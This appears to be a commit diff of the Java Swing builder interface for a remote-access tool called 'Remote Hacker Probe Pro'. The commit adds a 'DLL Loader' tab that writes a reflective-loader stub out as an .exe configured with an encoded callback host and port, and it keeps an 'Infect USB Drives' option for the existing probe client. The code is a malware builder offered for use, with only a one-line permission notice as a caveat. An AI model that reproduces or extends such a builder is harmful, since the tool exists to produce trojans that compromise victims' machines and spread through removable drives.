30
30
import javax .swing .GroupLayout ;
31
31
import javax .swing .GroupLayout .Alignment ;
32
32
import javax .swing .LayoutStyle .ComponentPlacement ;
33
+ import javax .swing .JTabbedPane ;
33
34
34
35
public class Builder extends JDialog {
35
36
36
37
private final JPanel contentPanel = new JPanel ();
37
38
private JTextField portvalue ;
38
39
static JCheckBox usb ;
40
+ private JTextField reflectiveHost ;
41
+ private JTextField reflectivePort ;
39
42
40
43
/**
41
44
* Launch the application.
@@ -58,10 +61,15 @@ private static void copyFile(File source, File dest) throws IOException {
58
61
}
59
62
}
60
63
61
- public static void build (String FilePath , String Host , String Port )
64
+ public static void build (Boolean isLoader , String FilePath , String Host , String Port )
62
65
{
63
-
64
- File stub = new File ("probe_bin" );
66
+ File stub ;
67
+ if (isLoader )
68
+ {
69
+ stub = new File ("reflective_bin" );
70
+ } else {
71
+ stub = new File ("probe_bin" );
72
+ }
65
73
String usbthread = "" ;
66
74
67
75
if (usb .isSelected ())
@@ -86,7 +94,7 @@ public static void build(String FilePath, String Host, String Port)
86
94
e .printStackTrace ();
87
95
}
88
96
} else {
89
- JOptionPane .showMessageDialog (null , "ERROR : Cannot create stub because file 'probe_bin' is missing! Which is required!" );
97
+ JOptionPane .showMessageDialog (null , "ERROR : Cannot create stub because file 'probe_bin' or 'reflective_bin' is missing! Which is required!" );
90
98
}
91
99
}
92
100
@@ -96,27 +104,108 @@ public static void build(String FilePath, String Host, String Port)
96
104
public Builder () {
97
105
setResizable (false );
98
106
setDefaultCloseOperation (JDialog .DISPOSE_ON_CLOSE );
99
- setTitle ("Remote Hacker Probe | Client Builder" );
100
- setBounds (100 , 100 , 379 , 180 );
107
+ setTitle ("Remote Hacker Probe Pro | Client Builder" );
108
+ setBounds (100 , 100 , 405 , 252 );
101
109
getContentPane ().setLayout (new BorderLayout ());
102
110
contentPanel .setBorder (new EmptyBorder (5 , 5 , 5 , 5 ));
103
111
getContentPane ().add (contentPanel , BorderLayout .CENTER );
112
+ contentPanel .setLayout (null );
113
+
114
+ JTabbedPane tabbedPane = new JTabbedPane (JTabbedPane .TOP );
115
+ tabbedPane .setBounds (0 , 0 , 499 , 289 );
116
+ contentPanel .add (tabbedPane );
117
+
118
+ JPanel panel = new JPanel ();
119
+ tabbedPane .addTab ("Probe Client" , null , panel , null );
120
+
121
+ JPanel panel_1 = new JPanel ();
122
+ tabbedPane .addTab ("DLL Loader" , null , panel_1 , null );
123
+ panel_1 .setLayout (null );
124
+
125
+ JLabel host_1 = new JLabel ("Server Host : " );
126
+ host_1 .setFont (new Font ("Calibri" , Font .PLAIN , 12 ));
127
+ host_1 .setBounds (10 , 52 , 74 , 31 );
128
+ panel_1 .add (host_1 );
129
+
130
+ reflectiveHost = new JTextField ();
131
+ reflectiveHost .setFont (new Font ("Consolas" , Font .PLAIN , 12 ));
132
+ reflectiveHost .setColumns (10 );
133
+ reflectiveHost .setBounds (81 , 47 , 301 , 42 );
134
+ panel_1 .add (reflectiveHost );
135
+
136
+ JLabel lblNewLabel_2 = new JLabel ("Server Port : " );
137
+ lblNewLabel_2 .setFont (new Font ("Calibri" , Font .PLAIN , 12 ));
138
+ lblNewLabel_2 .setBounds (10 , 114 , 74 , 14 );
139
+ panel_1 .add (lblNewLabel_2 );
140
+
141
+ reflectivePort = new JTextField ();
142
+ reflectivePort .setFont (new Font ("Consolas" , Font .PLAIN , 12 ));
143
+ reflectivePort .setColumns (10 );
144
+ reflectivePort .setBounds (81 , 100 , 301 , 41 );
145
+ panel_1 .add (reflectivePort );
146
+
147
+ JButton btnNewButton_1 = new JButton ("Build" );
148
+ btnNewButton_1 .addActionListener (new ActionListener () {
149
+ public void actionPerformed (ActionEvent e ) {
150
+ String hs = reflectiveHost .getText ();
151
+ String ps = reflectivePort .getText ();
152
+ if (hs .length () > 0 && ps .length () > 0 )
153
+ {
154
+ byte [] encodedHost = Base64 .encodeBase64 (hs .getBytes ());
155
+ String b64host = new String (encodedHost );
156
+
157
+ byte [] encodedPort = Base64 .encodeBase64 (ps .getBytes ());
158
+ String b64port = new String (encodedPort );
159
+
160
+
161
+
162
+ File fileToSave = null ;
163
+ JFileChooser fileChooser = new JFileChooser ();
164
+ FileNameExtensionFilter filter = new FileNameExtensionFilter ("EXE File" ,"exe" );
165
+ fileChooser .setFileFilter (filter );
166
+ fileChooser .setDialogTitle ("Where should this file be saved?" );
167
+ int userSelection = fileChooser .showSaveDialog (null );
168
+
169
+ if (userSelection == JFileChooser .APPROVE_OPTION ) {
170
+ fileToSave = fileChooser .getSelectedFile ();
171
+ build (true , fileToSave .getAbsolutePath () + ".exe" , b64host , b64port );
172
+
173
+ }
174
+
175
+ } else {
176
+ JOptionPane .showMessageDialog (null , "One or more values have been left empty." );
177
+ }
178
+ }
179
+ });
180
+ btnNewButton_1 .setFont (new Font ("Calibri" , Font .BOLD , 12 ));
181
+ btnNewButton_1 .setBounds (220 , 164 , 162 , 23 );
182
+ panel_1 .add (btnNewButton_1 );
183
+
184
+ JLabel lblNewLabel_1_1 = new JLabel ("Only run where you have permission to do so!" );
185
+ lblNewLabel_1_1 .setFont (new Font ("Calibri" , Font .PLAIN , 12 ));
186
+ lblNewLabel_1_1 .setBounds (10 , 11 , 277 , 14 );
187
+ panel_1 .add (lblNewLabel_1_1 );
104
188
105
189
JLabel host = new JLabel ("Server Host : " );
190
+ host .setBounds (5 , 36 , 74 , 31 );
106
191
host .setFont (new Font ("Calibri" , Font .PLAIN , 12 ));
107
192
108
193
JLabel lblNewLabel = new JLabel ("Server Port : " );
194
+ lblNewLabel .setBounds (5 , 100 , 74 , 14 );
109
195
lblNewLabel .setFont (new Font ("Calibri" , Font .PLAIN , 12 ));
110
196
111
197
JTextField hostvalue = new JTextField ();
198
+ hostvalue .setBounds (83 , 31 , 301 , 41 );
112
199
hostvalue .setFont (new Font ("Consolas" , Font .PLAIN , 12 ));
113
200
hostvalue .setColumns (10 );
114
201
115
202
portvalue = new JTextField ();
203
+ portvalue .setBounds (83 , 83 , 301 , 41 );
116
204
portvalue .setFont (new Font ("Consolas" , Font .PLAIN , 12 ));
117
205
portvalue .setColumns (10 );
118
206
119
207
JButton btnNewButton = new JButton ("Build" );
208
+ btnNewButton .setBounds (222 , 163 , 162 , 23 );
120
209
btnNewButton .addActionListener (new ActionListener () {
121
210
public void actionPerformed (ActionEvent e ) {
122
211
String hs = hostvalue .getText ();
@@ -140,7 +229,7 @@ public void actionPerformed(ActionEvent e) {
140
229
141
230
if (userSelection == JFileChooser .APPROVE_OPTION ) {
142
231
fileToSave = fileChooser .getSelectedFile ();
143
- build (fileToSave .getAbsolutePath () + ".exe" , b64host , b64port );
232
+ build (false , fileToSave .getAbsolutePath () + ".exe" , b64host , b64port );
144
233
145
234
}
146
235
@@ -151,63 +240,22 @@ public void actionPerformed(ActionEvent e) {
151
240
});
152
241
btnNewButton .setFont (new Font ("Calibri" , Font .BOLD , 12 ));
153
242
154
- JLabel lblNewLabel_1 = new JLabel ("Only install where you have permission to do so!" );
243
+ JLabel lblNewLabel_1 = new JLabel ("Only run where you have permission to do so!" );
244
+ lblNewLabel_1 .setBounds (5 , 6 , 277 , 14 );
155
245
lblNewLabel_1 .setFont (new Font ("Calibri" , Font .PLAIN , 12 ));
156
246
157
247
usb = new JCheckBox ("Infect USB Drives" );
248
+ usb .setBounds (6 , 163 , 198 , 23 );
158
249
159
250
usb .setFont (new Font ("Calibri" , Font .PLAIN , 12 ));
160
- GroupLayout gl_contentPanel = new GroupLayout (contentPanel );
161
- gl_contentPanel .setHorizontalGroup (
162
- gl_contentPanel .createParallelGroup (Alignment .LEADING )
163
- .addGroup (gl_contentPanel .createSequentialGroup ()
164
- .addGap (5 )
165
- .addGroup (gl_contentPanel .createParallelGroup (Alignment .LEADING )
166
- .addComponent (lblNewLabel_1 , GroupLayout .PREFERRED_SIZE , 277 , GroupLayout .PREFERRED_SIZE )
167
- .addGroup (gl_contentPanel .createParallelGroup (Alignment .LEADING )
168
- .addGroup (gl_contentPanel .createSequentialGroup ()
169
- .addComponent (lblNewLabel , GroupLayout .DEFAULT_SIZE , 85 , Short .MAX_VALUE )
170
- .addComponent (portvalue , GroupLayout .PREFERRED_SIZE , 261 , GroupLayout .PREFERRED_SIZE )
171
- .addGap (2 ))
172
- .addGroup (gl_contentPanel .createSequentialGroup ()
173
- .addComponent (host , GroupLayout .DEFAULT_SIZE , 85 , Short .MAX_VALUE )
174
- .addComponent (hostvalue , GroupLayout .PREFERRED_SIZE , 261 , GroupLayout .PREFERRED_SIZE )
175
- .addGap (2 ))
176
- .addGroup (gl_contentPanel .createSequentialGroup ()
177
- .addPreferredGap (ComponentPlacement .RELATED )
178
- .addComponent (usb , GroupLayout .DEFAULT_SIZE , 123 , Short .MAX_VALUE )
179
- .addGap (129 )
180
- .addComponent (btnNewButton , GroupLayout .DEFAULT_SIZE , 86 , Short .MAX_VALUE )
181
- .addPreferredGap (ComponentPlacement .RELATED ))))
182
- .addGap (0 ))
183
- );
184
- gl_contentPanel .setVerticalGroup (
185
- gl_contentPanel .createParallelGroup (Alignment .LEADING )
186
- .addGroup (gl_contentPanel .createSequentialGroup ()
187
- .addGap (6 )
188
- .addComponent (lblNewLabel_1 , GroupLayout .PREFERRED_SIZE , 14 , GroupLayout .PREFERRED_SIZE )
189
- .addGroup (gl_contentPanel .createParallelGroup (Alignment .LEADING )
190
- .addGroup (gl_contentPanel .createSequentialGroup ()
191
- .addGap (19 )
192
- .addComponent (host , GroupLayout .PREFERRED_SIZE , 14 , Short .MAX_VALUE )
193
- .addGap (7 ))
194
- .addGroup (gl_contentPanel .createSequentialGroup ()
195
- .addGap (9 )
196
- .addComponent (hostvalue , GroupLayout .DEFAULT_SIZE , 31 , Short .MAX_VALUE )))
197
- .addPreferredGap (ComponentPlacement .RELATED )
198
- .addGroup (gl_contentPanel .createParallelGroup (Alignment .LEADING )
199
- .addGroup (gl_contentPanel .createSequentialGroup ()
200
- .addGap (14 )
201
- .addComponent (lblNewLabel , GroupLayout .PREFERRED_SIZE , 14 , GroupLayout .PREFERRED_SIZE ))
202
- .addGroup (gl_contentPanel .createSequentialGroup ()
203
- .addGap (4 )
204
- .addComponent (portvalue , GroupLayout .DEFAULT_SIZE , 31 , Short .MAX_VALUE )))
205
- .addPreferredGap (ComponentPlacement .RELATED )
206
- .addGroup (gl_contentPanel .createParallelGroup (Alignment .BASELINE )
207
- .addComponent (usb )
208
- .addComponent (btnNewButton , GroupLayout .DEFAULT_SIZE , GroupLayout .DEFAULT_SIZE , Short .MAX_VALUE ))
209
- .addGap (7 ))
210
- );
211
- contentPanel .setLayout (gl_contentPanel );
251
+ panel .setLayout (null );
252
+ panel .add (lblNewLabel_1 );
253
+ panel .add (usb );
254
+ panel .add (btnNewButton );
255
+ panel .add (host );
256
+ panel .add (lblNewLabel );
257
+ panel .add (portvalue );
258
+ panel .add (hostvalue );
259
+
212
260
}
213
261
}
0 commit comments